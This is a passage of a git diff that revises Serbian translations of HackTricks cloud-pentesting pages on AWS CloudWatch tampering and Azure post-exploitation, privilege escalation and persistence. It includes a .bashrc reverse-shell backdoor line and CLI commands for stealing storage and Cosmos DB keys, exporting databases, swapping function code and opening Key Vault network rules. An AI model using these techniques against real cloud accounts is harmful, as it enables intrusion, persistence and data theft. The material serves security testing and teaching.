efikasno upravljanje resursima. Brisanjem postojećih insight pravila, napadač bi mogao ukloniti kritične mogućnosti nadzora, ostavljajući sistem slepim na probleme sa performansama i bezbednosne pretnje. Pored toga, napadač bi mogao kreirati ili modifikovati insight pravila kako bi generisao obmanjujuće podatke ili sakrio zlonamerne aktivnosti, što bi dovelo do netačnih dijagnostika i neadekvatnih odgovora operativnog tima. ```bash aws cloudwatch delete-insight-rules --rule-names aws cloudwatch put-insight-rule --rule-name --rule-definition [--rule-state ] aws cloudwatch put-managed-insight-rules --managed-rules ``` -**Potencijalni uticaj**: Teškoće u otkrivanju i reagovanju na probleme sa performansama i anomalijama, pogrešno informisano donošenje odluka i potencijalno prikrivanje zlonamernih aktivnosti ili kvarova sistema. +**Potencijalni uticaj**: Teškoće u otkrivanju i reagovanju na probleme sa performansama i anomalijama, pogrešno informisano donošenje odluka i potencijalno skrivanje zlonamernih aktivnosti ili kvarova sistema. ### **`cloudwatch:DisableInsightRules`, `cloudwatch:EnableInsightRules`** -Onemogućavanjem kritičnih pravila uvida, napadač bi mogao efikasno da zaslepi organizaciju za ključne metrike performansi i bezbednosti. S druge strane, omogućavanjem ili konfigurisanjem obmanjujućih pravila, moglo bi biti moguće generisati lažne podatke, stvoriti šum ili prikriti zlonamerne aktivnosti. +Onemogućavanjem kritičnih pravila uvida, napadač bi mogao efikasno da zaslepi organizaciju za ključne metrike performansi i bezbednosti. S druge strane, omogućavanjem ili konfigurisanjem obmanjujućih pravila, moglo bi biti moguće generisati lažne podatke, stvoriti šum ili sakriti zlonamerne aktivnosti. ```bash aws cloudwatch disable-insight-rules --rule-names aws cloudwatch enable-insight-rules --rule-names @@ -389,13 +389,13 @@ Napadač sa **`cloudwatch:DeleteMetricStream`** , **`cloudwatch:PutMetricStream` - **Manipulacija resursima**: Kreiranje novih tokova metrike sa prekomernim podacima moglo bi proizvesti mnogo šuma, uzrokujući netačna upozorenja, prikrivajući prave probleme. - **Prekid nadzora**: Brisanjem tokova metrike, napadači bi prekinuli kontinuirani tok podataka za nadzor. Na taj način, njihove zlonamerne aktivnosti bi bile efikasno skrivene. -Slično tome, sa dozvolom **`cloudwatch:PutMetricData`**, bilo bi moguće dodati podatke u tok metrike. To bi moglo dovesti do DoS zbog količine nepravilnih podataka koji su dodati, čineći ga potpuno beskorisnim. +Slično tome, sa dozvolom **`cloudwatch:PutMetricData`**, bilo bi moguće dodati podatke u tok metrike. To bi moglo dovesti do DoS-a zbog količine nepravilnih podataka koji su dodati, čineći ga potpuno beskorisnim. ```bash aws cloudwatch delete-metric-stream --name aws cloudwatch put-metric-stream --name [--include-filters ] [--exclude-filters ] --firehose-arn --role-arn --output-format aws cloudwatch put-metric-data --namespace [--metric-data ] [--metric-name ] [--timestamp ] [--unit ] [--value ] [--dimensions ] ``` -Primer dodavanja podataka koji odgovaraju 70% iskorišćenosti CPU-a na datom EC2 instancu: +Primer dodavanja podataka koji odgovaraju 70% iskorišćenosti CPU-a na datom EC2 instanci: ```bash aws cloudwatch put-metric-data --namespace "AWS/EC2" --metric-name "CPUUtilization" --value 70 --unit "Percent" --dimensions "InstanceId=i-0123456789abcdefg" ``` @@ -412,7 +412,7 @@ aws cloudwatch start-metric-streams --names ### **`cloudwatch:TagResource`, `cloudwatch:UntagResource`** -Napadač bi mogao da doda, izmeni ili ukloni oznake sa CloudWatch resursa (trenutno samo alarma i pravila za Contributor Insights). Ovo bi moglo poremetiti politike kontrole pristupa vaše organizacije zasnovane na oznakama. +Napadač bi mogao da doda, izmeni ili ukloni oznake sa CloudWatch resursa (trenutno samo alarma i pravila za Contributor Insights). Ovo bi moglo da poremeti politike kontrole pristupa vaše organizacije zasnovane na oznakama. ```bash aws cloudwatch tag-resource --resource-arn --tags aws cloudwatch untag-resource --resource-arn --tag-keys diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md index 2f14dad22..15dfd3673 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-cloud-shell-persistence.md @@ -4,16 +4,16 @@ ## Cloud Shell Persistence -Azure Cloud Shell nudi pristup komandnoj liniji za upravljanje Azure resursima sa persistentnim skladištem i automatskom autentifikacijom. Napadači mogu iskoristiti ovo postavljanjem backdoora u persistentni home direktorijum: +Azure Cloud Shell nudi pristup komandnoj liniji za upravljanje Azure resursima sa persistentnim skladištem i automatskom autentifikacijom. Napadači mogu iskoristiti ovo postavljanjem backdoora u persistentni direktorijum: -* **Persistent Storage**: Home direktorijum Azure Cloud Shell-a je montiran na Azure file share i ostaje netaknut čak i nakon završetka sesije. -* **Startup Scripts**: Fajlovi poput .bashrc se automatski izvršavaju na početku svake sesije, omogućavajući persistentno izvršavanje kada se cloud shell pokrene. +* **Persistent Storage**: Početni direktorijum Azure Cloud Shell-a je montiran na Azure deljenje datoteka i ostaje netaknut čak i nakon završetka sesije. +* **Startup Scripts**: Datoteke poput .bashrc se automatski izvršavaju na početku svake sesije, omogućavajući persistentno izvršavanje kada se cloud shell pokrene. Primer backdoora u .bashrc: ```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/$CCSERVER/443 0>&1 &)' >> $HOME/.bashrc ``` -Ova backdoor može izvršavati komande čak i 5 minuta nakon što je korisnik završio sa cloud shell-om. +Ova backdoor može izvršavati komande čak i 5 minuta nakon što korisnik završi sa cloud shell-om. Dodatno, upitite Azure-ovu metadata uslugu za detalje instance i tokene: ```bash diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index 67a512743..c44c57424 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -12,7 +12,7 @@ Za više informacija o skladištu, proverite: ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read` -Principal sa ovom dozvolom će moći da **prikazuje** blobove (fajlove) unutar kontejnera i **preuzima** fajlove koji mogu sadržati **osetljive informacije**. +Principal sa ovom dozvolom će moći da **lista** blobove (fajlove) unutar kontejnera i **preuzme** fajlove koji mogu sadržati **osetljive informacije**. ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read az storage blob list \ @@ -26,7 +26,7 @@ az storage blob download \ ``` ### `Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write` -Principal sa ovom dozvolom će moći da **piše i prepisuje datoteke u kontejnerima** što bi moglo omogućiti da izazove neku štetu ili čak eskalira privilegije (npr. prepisivanje nekog koda koji je smešten u blob-u): +Principal sa ovom dozvolom će moći da **piše i prepisuje datoteke u kontejnerima** što bi moglo da mu omogući da izazove neku štetu ili čak da eskalira privilegije (npr. prepisivanje nekog koda smeštenog u blob): ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write az storage blob upload \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md index 3ce70fd23..706979f55 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-cosmosDB-post-exploitation.md @@ -3,7 +3,7 @@ {{#include ../../../banners/hacktricks-training.md}} ## CosmosDB Post Exploitation -Za više informacija o SQL bazi podataka pogledajte: +Za više informacija o SQL bazi podataka, proverite: {{#ref}} ../az-services/az-cosmosDB.md @@ -11,7 +11,7 @@ Za više informacija o SQL bazi podataka pogledajte: ### `Microsoft.DocumentDB/databaseAccounts/read` && `Microsoft.DocumentDB/databaseAccounts/write` -Sa ovom dozvolom možete kreirati ili ažurirati Azure Cosmos DB naloge. To uključuje modifikaciju podešavanja na nivou naloga, dodavanje ili uklanjanje regiona, promenu nivoa konzistentnosti i omogućavanje ili onemogućavanje funkcija kao što su pisanje u više regiona. +Sa ovom dozvolom, možete kreirati ili ažurirati Azure Cosmos DB naloge. To uključuje modifikaciju podešavanja na nivou naloga, dodavanje ili uklanjanje regiona, promenu nivoa konzistentnosti i omogućavanje ili onemogućavanje funkcija kao što su pisanja u više regiona. ```bash az cosmosdb update \ --name \ @@ -38,7 +38,7 @@ az cosmosdb sql container update \ --ttl 3600 ``` ### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/read` -Sa ovom dozvolom, možete kreirati ili modifikovati SQL baze podataka unutar Azure Cosmos DB naloga. Ovo omogućava upravljanje strukturom baze podataka i dodavanje novih baza podataka u nalog. Dok ova dozvola omogućava kreiranje baza podataka, nepravilna ili neovlašćena upotreba može rezultirati nepotrebnom potrošnjom resursa, povećanim troškovima ili operativnim neefikasnostima. +Sa ovom dozvolom, možete kreirati ili modifikovati SQL baze podataka unutar Azure Cosmos DB naloga. Ovo omogućava upravljanje strukturom baze podataka i dodavanje novih baza podataka u nalog. Iako ova dozvola omogućava kreiranje baza podataka, nepravilna ili neovlašćena upotreba može rezultirati nepotrebnom potrošnjom resursa, povećanim troškovima ili operativnim neefikasnostima. ```bash az cosmosdb sql database create \ --account-name \ @@ -90,7 +90,7 @@ az cosmosdb sql stored-procedure create \ --body 'function sample() { return "Hello, Cosmos!"; }' ``` ### `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/write` && `Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/triggers/read` -Sa ovom dozvolom, možete kreirati ili modifikovati okidače unutar kontejnera SQL baze podataka u Azure Cosmos DB nalogu. Okidači vam omogućavaju da izvršavate logiku na strani servera kao odgovor na operacije poput umetanja, ažuriranja ili brisanja. +Sa ovom dozvolom, možete kreirati ili modifikovati okidače unutar kontejnera SQL baze podataka u Azure Cosmos DB nalogu. Okidači vam omogućavaju da izvršavate logiku na serveru kao odgovor na operacije poput umetanja, ažuriranja ili brisanja. ```bash az cosmosdb sql trigger create \ --account-name \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md index 4a9df1b6f..e4bb35899 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -Post Eksploatacija Deljenja Fajlova +Post eksploatacija deljenja fajlova Za više informacija o deljenju fajlova pogledajte: @@ -30,7 +30,7 @@ az storage file download \ ``` ### `Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write`, `Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action` -Principal sa ovom dozvolom će moći da **piše i prepisuje datoteke u deljenim datotekama** što bi moglo omogućiti da izazove neku štetu ili čak eskalira privilegije (npr. prepisivanje nekog koda smeštenog u deljenoj datoteci): +Principal sa ovom dozvolom će moći da **piše i prepisuje datoteke u deljenim datotekama**, što bi moglo omogućiti da izazove neku štetu ili čak eskalira privilegije (npr. prepisuje neki kod smešten u deljenoj datoteci): ```bash az storage blob upload \ --account-name \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md index af77b848c..25bc9db69 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-logic-apps-post-exploitation.md @@ -27,7 +27,7 @@ az logicapp update \ --set httpsOnly=false ``` ### `Microsoft.Web/sites/stop/action`, `Microsoft.Web/sites/start/action` || `Microsoft.Web/sites/restart/action` -Sa ovom dozvolom, možete pokrenuti/zaustaviti/restartovati web aplikaciju, uključujući Logic Apps hostovane na App Service Plan-u. Ova akcija osigurava da se prethodno zaustavljena aplikacija ponovo pokrene i nastavi sa svojom funkcionalnošću. Ovo može ometati radne tokove, pokrenuti neplanirane operacije ili izazvati prekid rada pokretanjem, zaustavljanjem ili restartovanjem Logic Apps iznenada. +Sa ovom dozvolom, možete pokrenuti/zaustaviti/restartovati web aplikaciju, uključujući Logic Apps hostovane na App Service Plan-u. Ova akcija osigurava da se prethodno zaustavljena aplikacija ponovo pokrene i nastavi sa svojom funkcionalnošću. Ovo može ometati radne tokove, pokrenuti nepredviđene operacije ili izazvati prekid rada pokretanjem, zaustavljanjem ili restartovanjem Logic Apps iznenada. ```bash az webapp start/stop/restart \ --name \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md index 250b1258f..454a5c911 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-mysql-post-exploitation.md @@ -11,7 +11,7 @@ Za više informacija o MySQL bazi podataka pogledajte: ### `Microsoft.DBforMySQL/flexibleServers/databases/write` && `Microsoft.DBforMySQL/flexibleServers/databases/read` -Sa ovom dozvolom, možete kreirati nove baze podataka unutar MySQL Flexible Server instance na Azure-u. Iako ova akcija sama po sebi ne menja postojeće resurse, prekomerna ili neovlašćena kreacija baza podataka može dovesti do potrošnje resursa ili potencijalne zloupotrebe servera. +Sa ovom dozvolom možete kreirati nove baze podataka unutar MySQL Flexible Server instance na Azure-u. Iako ova akcija sama po sebi ne menja postojeće resurse, prekomerna ili neovlašćena kreacija baza podataka može dovesti do potrošnje resursa ili potencijalne zloupotrebe servera. ```bash az mysql flexible-server db create \ --server-name \ @@ -20,7 +20,7 @@ az mysql flexible-server db create \ ``` ### `Microsoft.DBforMySQL/flexibleServers/backups/write` -Sa ovom dozvolom, možete pokrenuti kreiranje rezervnih kopija za MySQL Flexible Server instancu na Azure-u. Ovo omogućava korisnicima da generišu rezervne kopije na zahtev, što može biti korisno za očuvanje podataka u određenim tačkama u vremenu. +Sa ovom dozvolom, možete pokrenuti kreiranje rezervnih kopija za MySQL Flexible Server instancu na Azure-u. Ovo omogućava korisnicima da generišu rezervne kopije na zahtev, što može biti korisno za očuvanje podataka u određenim vremenskim tačkama. ```bash az mysql flexible-server backup create \ --name \ @@ -58,7 +58,7 @@ az mysql flexible-server firewall-rule update \ ``` ### `Microsoft.DBforMySQL/flexibleServers/resetGtid/action` -Sa ovom dozvolom, možete resetovati GTID (Global Transaction Identifier) za MySQL Flexible Server instancu na Azure-u. Resetovanje GTID-a će poništiti sve automatske, na zahtev napravljene rezervne kopije i geo-rezervne kopije koje su napravljene pre akcije resetovanja. Nakon resetovanja GTID-a, nećete moći da izvršite PITR (point-in-time-restore) koristeći najbržu tačku vraćanja ili po prilagođenoj tački vraćanja ako je odabrano vreme vraćanja pre vremena resetovanja GTID-a. A uspešno geo-vraćanje će biti moguće samo nakon 5 dana. +Sa ovom dozvolom, možete resetovati GTID (Global Transaction Identifier) za MySQL Flexible Server instancu na Azure-u. Resetovanje GTID-a će poništiti sve automatske, na zahtev napravljene rezervne kopije i geo-rezervne kopije koje su napravljene pre akcije resetovanja. Nakon resetovanja GTID-a, nećete moći da izvršite PITR (point-in-time-restore) koristeći najbržu tačku vraćanja ili po prilagođenoj tački vraćanja ako je odabrano vreme vraćanja pre vremena resetovanja GTID-a. A uspešno geo-vraćanje biće moguće samo nakon 5 dana. ```bash az mysql flexible-server reset-gtid \ --name \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md index 5c39db663..d0dc49af6 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-postgresql-post-exploitation.md @@ -20,7 +20,7 @@ az postgres flexible-server db create \ ``` ### `Microsoft.DBforPostgreSQL/flexibleServers/backups/write` -Sa ovom dozvolom, možete pokrenuti kreiranje rezervnih kopija za Postgres Flexible Server instancu na Azure-u. Ovo omogućava korisnicima da generišu rezervne kopije na zahtev, što može biti korisno za očuvanje podataka u određenim vremenskim tačkama. +Sa ovom dozvolom, možete pokrenuti kreiranje rezervnih kopija za Postgres Flexible Server instancu na Azure-u. Ovo omogućava korisnicima da generišu rezervne kopije na zahtev, što može biti korisno za očuvanje podataka u određenim tačkama u vremenu. ```bash az postgres flexible-server backup create \ --name \ diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md index a4db009c3..fd551fcc1 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-sql-post-exploitation.md @@ -12,7 +12,7 @@ Za više informacija o SQL bazi podataka pogledajte: ### `Microsoft.Sql/servers/databases/read`, `Microsoft.Sql/servers/read` && `Microsoft.Sql/servers/databases/write` -Sa ovim dozvolama, napadač može da kreira i ažurira baze podataka unutar kompromitovanog okruženja. Ova aktivnost nakon eksploatacije može omogućiti napadaču da doda zlonamerne podatke, izmeni konfiguracije baze podataka ili umetne zadnje ulaze za dalju postojanost, potencijalno ometajući operacije ili omogućavajući dodatne zlonamerne radnje. +Sa ovim dozvolama, napadač može da kreira i ažurira baze podataka unutar kompromitovanog okruženja. Ova post-ekspolatacijska aktivnost može omogućiti napadaču da doda zlonamerne podatke, izmeni konfiguracije baze podataka ili umetne zadnje ulaze za dalju postojanost, potencijalno ometajući operacije ili omogućavajući dodatne zlonamerne radnje. ```bash # Create Database az sql db create --resource-group --server --name @@ -22,7 +22,7 @@ az sql db update --resource-group --server --name ``` ### `Microsoft.Sql/servers/elasticPools/write` && `Microsoft.Sql/servers/elasticPools/read` -Sa ovim dozvolama, napadač može da kreira i ažurira elasticPools unutar kompromitovanog okruženja. Ova post-ekspolatacijska aktivnost može omogućiti napadaču da doda zlonamerne podatke, modifikuje konfiguracije baze podataka ili umetne zadnje izlaze za dalju postojanost, potencijalno ometajući operacije ili omogućavajući dodatne zlonamerne radnje. +Sa ovim dozvolama, napadač može da kreira i ažurira elasticPools unutar kompromitovanog okruženja. Ova post-ekspolatacijska aktivnost može omogućiti napadaču da doda zlonamerne podatke, izmeni konfiguracije baze podataka ili umetne zadnje ulaze za dalju postojanost, potencijalno ometajući operacije ili omogućavajući dodatne zlonamerne radnje. ```bash # Create Elastic Pool az sql elastic-pool create \ @@ -62,7 +62,7 @@ az sql server connection-policy update \ ``` ### `Microsoft.Sql/servers/databases/export/action` -Sa ovom dozvolom, možete eksportovati bazu podataka sa Azure SQL Server-a u nalog za skladištenje. Napadač ili ovlašćeni korisnik sa ovom dozvolom može eksfiltrirati osetljive podatke iz baze podataka izvozeći ih na lokaciju koju kontroliše, što predstavlja značajan rizik od curenja podataka. Važno je znati ključ za skladištenje kako biste mogli to da uradite. +Sa ovom dozvolom, možete eksportovati bazu podataka sa Azure SQL Server-a u nalog za skladištenje. Napadač ili ovlašćeni korisnik sa ovom dozvolom može eksfiltrirati osetljive podatke iz baze podataka izvozeći ih na lokaciju koju kontroliše, što predstavlja značajan rizik od curenja podataka. Važno je znati ključ za skladištenje kako biste mogli da izvršite ovo. ```bash az sql db export \ --server \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md index f3af43c67..7bf821f54 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md @@ -44,7 +44,7 @@ az cosmosdb sql role assignment create \ --scope "/" ``` ### `Microsoft.DocumentDB/databaseAccounts/listKeys/action` -Sa ovom dozvolom, možete preuzeti primarne i sekundarne ključeve za Azure Cosmos DB nalog. Ovi ključevi pružaju potpuni pristup nalogu baze podataka i njenim resursima, omogućavajući radnje kao što su čitanje podataka, pisanje i promene konfiguracije. +Sa ovom dozvolom, možete preuzeti primarne i sekundarne ključeve za Azure Cosmos DB nalog. Ovi ključevi pružaju potpuni pristup nalogu baze podataka i njegovim resursima, omogućavajući akcije kao što su čitanje podataka, pisanje i promene konfiguracije. ```bash az cosmosdb keys list \ --name \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md index b630e8cd2..ef89d96fc 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-functions-app-privesc.md @@ -18,7 +18,7 @@ Kada pronađete gde se kod funkcije nalazi, ako imate dozvole za pisanje nad nji - **`File Share`** (`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING` i `WEBSITE_CONTENTSHARE`) -Kod funkcije se obično čuva unutar deljenog foldera. Sa dovoljno pristupa, moguće je izmeniti kod fajla i **naterati funkciju da učita proizvoljan kod**, što omogućava eskalaciju privilegija na upravljane identitete povezane sa funkcijom. +Kod funkcije se obično čuva unutar deljenog fajla. Sa dovoljno pristupa, moguće je izmeniti kod fajla i **naterati funkciju da učita proizvoljan kod**, što omogućava eskalaciju privilegija na upravljane identitete povezane sa funkcijom. Ova metoda implementacije obično konfiguriše postavke **`WEBSITE_CONTENTAZUREFILECONNECTIONSTRING`** i **`WEBSITE_CONTENTSHARE`** koje možete dobiti od ```bash @@ -26,12 +26,12 @@ az functionapp config appsettings list \ --name \ --resource-group ``` -Ti konfiguracije će sadržati **Storage Account Key** koji Funkcija može koristiti za pristup kodu. +Te konfiguracije će sadržati **Storage Account Key** koji Funkcija može koristiti za pristup kodu. > [!CAUTION] > Sa dovoljno dozvola za povezivanje na File Share i **modifikovanje skripte** koja se izvršava, moguće je izvršiti proizvoljan kod u Funkciji i eskalirati privilegije. -Sledeći primer koristi macOS za povezivanje na file share, ali se preporučuje da se takođe proveri sledeća stranica za više informacija o file share-ovima: +Sledeći primer koristi macOS za povezivanje na deljenje datoteka, ali se preporučuje da se takođe proveri sledeća stranica za više informacija o deljenju datoteka: {{#ref}} ../az-services/az-file-shares.md @@ -151,7 +151,7 @@ az rest --method POST --uri "https://management.azure.com/subscriptions/ --key-name --key-type functionKeys --name --key-value q_8ILAoJaSp_wxpyHzGm4RVMPDKnjM_vpEb7z123yRvjAzFuo6wkIQ== ``` @@ -185,7 +185,7 @@ az rest --method POST \ Ove dozvole omogućavaju da se prikažu konfiguracione vrednosti funkcije kao što smo ranije videli, plus **da se modifikuju te vrednosti**. Ovo je korisno jer ovi parametri ukazuju na to gde se nalazi kod koji treba izvršiti unutar funkcije. -Stoga je moguće postaviti vrednost parametra **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL zip datoteku koja sadrži novi kod koji treba izvršiti unutar web aplikacije: +Stoga je moguće postaviti vrednost podešavanja **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL zip datoteku koja sadrži novi kod koji treba izvršiti unutar web aplikacije: - Počnite tako što ćete dobiti trenutnu konfiguraciju ```bash @@ -203,7 +203,7 @@ python3 -m http.server # Serve it using ngrok for example ngrok http 8000 ``` -- Izmenite funkciju, zadržite prethodne parametre i na kraju dodajte konfiguraciju **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL sa **zip**-om koji sadrži kod. +- Izmenite funkciju, zadržite prethodne parametre i dodajte na kraju konfiguraciju **`WEBSITE_RUN_FROM_PACKAGE`** koja pokazuje na URL sa **zip**-om koji sadrži kod. Sledeći je primer mojih **vlastitih podešavanja koja ćete morati da promenite za svoja**, obratite pažnju na kraju na vrednosti `"WEBSITE_RUN_FROM_PACKAGE": "https://4c7d-81-33-68-77.ngrok-free.app/function_app.zip"`, ovde sam hostovao aplikaciju. ```bash @@ -234,7 +234,7 @@ az functionapp deployment list-publishing-profiles \ --resource-group \ --output json ``` -Još jedna opcija bi bila da postavite svoje kredencijale i koristite ih pomoću: +Druga opcija bi bila da postavite svoje kredencijale i koristite ih pomoću: ```bash az functionapp deployment user set \ --user-name DeployUser123456 g \ @@ -275,9 +275,9 @@ zip function_app.zip function_app.py # Your code in function_app.py curl -u ':' -X POST --data-binary "@" \ https://.scm.azurewebsites.net/api/zipdeploy ``` -_Napomena da je **SCM korisničko ime** obično znak "$" praćen imenom aplikacije, tako da: `$`._ +_Napomena da je **SCM korisničko ime** obično karakter "$" praćen imenom aplikacije, tako da: `$`._ -Takođe možete pristupiti veb stranici sa `https://.scm.azurewebsites.net/BasicAuth` +Možete takođe pristupiti veb stranici sa `https://.scm.azurewebsites.net/BasicAuth` Vrednosti podešavanja sadrže **AccountKey** skladišnog naloga koji čuva podatke funkcijske aplikacije, omogućavajući kontrolu nad tim skladišnim nalogom. @@ -335,7 +335,7 @@ az rest --url "https://management.azure.com/subscriptions//res ``` ### `Microsoft.Web/sites/config/write`, `Microsoft.Web/sites/config/list/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/config/list/action`, `Microsoft.Web/sites/config/read`) -Sa ovim dozvolama moguće je **modifikovati kontejner koji pokreće funkcijska aplikacija** konfigurisana da pokreće kontejner. To bi omogućilo napadaču da otpremi zloćudnu azure funkcijsku aplikaciju kontejnera na docker hub (na primer) i natera funkciju da je izvrši. +Sa ovim dozvolama moguće je **modifikovati kontejner koji pokreće funkcijska aplikacija** konfigurisana da pokreće kontejner. To bi omogućilo napadaču da otpremi zloćudnu azure funkcijsku kontejnersku aplikaciju na docker hub (na primer) i natera funkciju da je izvrši. ```bash az functionapp config container set --name \ --resource-group \ @@ -343,7 +343,7 @@ az functionapp config container set --name \ ``` ### `Microsoft.Web/sites/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`, `Microsoft.App/managedEnvironments/join/action`, (`Microsoft.Web/sites/read`, `Microsoft.Web/sites/operationresults/read`) -Sa ovim dozvolama moguće je **priključiti novu korisnički upravljanu identitet** na funkciju. Ako je funkcija kompromitovana, to bi omogućilo eskalaciju privilegija na bilo koji korisnički upravljani identitet. +Sa ovim dozvolama moguće je **priključiti novu korisničku upravljanu identitet** na funkciju. Ako je funkcija kompromitovana, to bi omogućilo eskalaciju privilegija na bilo koji korisnički upravljani identitet. ```bash az functionapp identity assign \ --name \ @@ -352,7 +352,7 @@ az functionapp identity assign \ ``` ### Remote Debugging -Takođe je moguće povezati se za debagovanje pokrenute Azure funkcije kao [**objašnjeno u dokumentaciji**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, podrazumevano će Azure isključiti ovu opciju za 2 dana u slučaju da programer zaboravi da izbegne ostavljanje ranjivih konfiguracija. +Takođe je moguće povezati se i debagovati pokrenutu Azure funkciju kao [**objašnjeno u dokumentaciji**](https://learn.microsoft.com/en-us/azure/azure-functions/functions-develop-vs). Međutim, podrazumevano će Azure isključiti ovu opciju za 2 dana u slučaju da programer zaboravi kako bi se izbeglo ostavljanje ranjivih konfiguracija. Moguće je proveriti da li funkcija ima omogućeno debagovanje sa: ```bash @@ -365,7 +365,7 @@ az functionapp config set --remote-debugging-enabled=True --name --re ### Promena Github repozitorijuma Pokušao sam da promenim Github repozitorijum sa kojeg se vrši implementacija izvršavanjem sledećih komandi, ali čak i ako se promenio, **novi kod nije učitan** (verovatno zato što očekuje da Github Action ažurira kod).\ -Pored toga, **federisana akreditivna identitet upravljanja nije ažurirana** da dozvoli novi repozitorijum, tako da izgleda da ovo nije baš korisno. +Pored toga, **federisana akreditivna identitet upravljanja nije ažurirana** da dozvoli novi repozitorijum, tako da izgleda da ovo nije od velike koristi. ```bash # Remove current az functionapp deployment source delete \ diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md index 086a87dfe..671104305 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-key-vault-privesc.md @@ -29,4 +29,14 @@ az keyvault set-policy \ --certificate-permissions all \ --storage-permissions all ``` +### Modify Network Restrictions + +Možda imate dovoljno dozvola da pristupite osetljivim podacima (kao što je vrednost tajne), ali ne možete da mu pristupite jer je ključna riznica ograničena na određenu mrežu. Ako imate dozvolu da modifikujete mrežna ograničenja, možete dodati svoju IP adresu na listu dozvoljenih IP adresa. +```bash +# Get the current network restrictions +az keyvault network-rule list --name + +# Add your IP to the list +az keyvault network-rule add --name --ip-address +``` {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md index b237665a3..ff22d5f22 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-logic-apps-privesc.md @@ -24,7 +24,7 @@ az logic workflow update \ --resource-group logicappgroup \ --definition ``` -I nakon što ga promenite, možete ga pokrenuti sa: +I nakon što to promenite, možete to pokrenuti sa: ```bash az rest \ --method post \ @@ -33,7 +33,7 @@ az rest \ --headers "Content-Type=application/json" ``` ### (`Microsoft.Web/sites/read`, 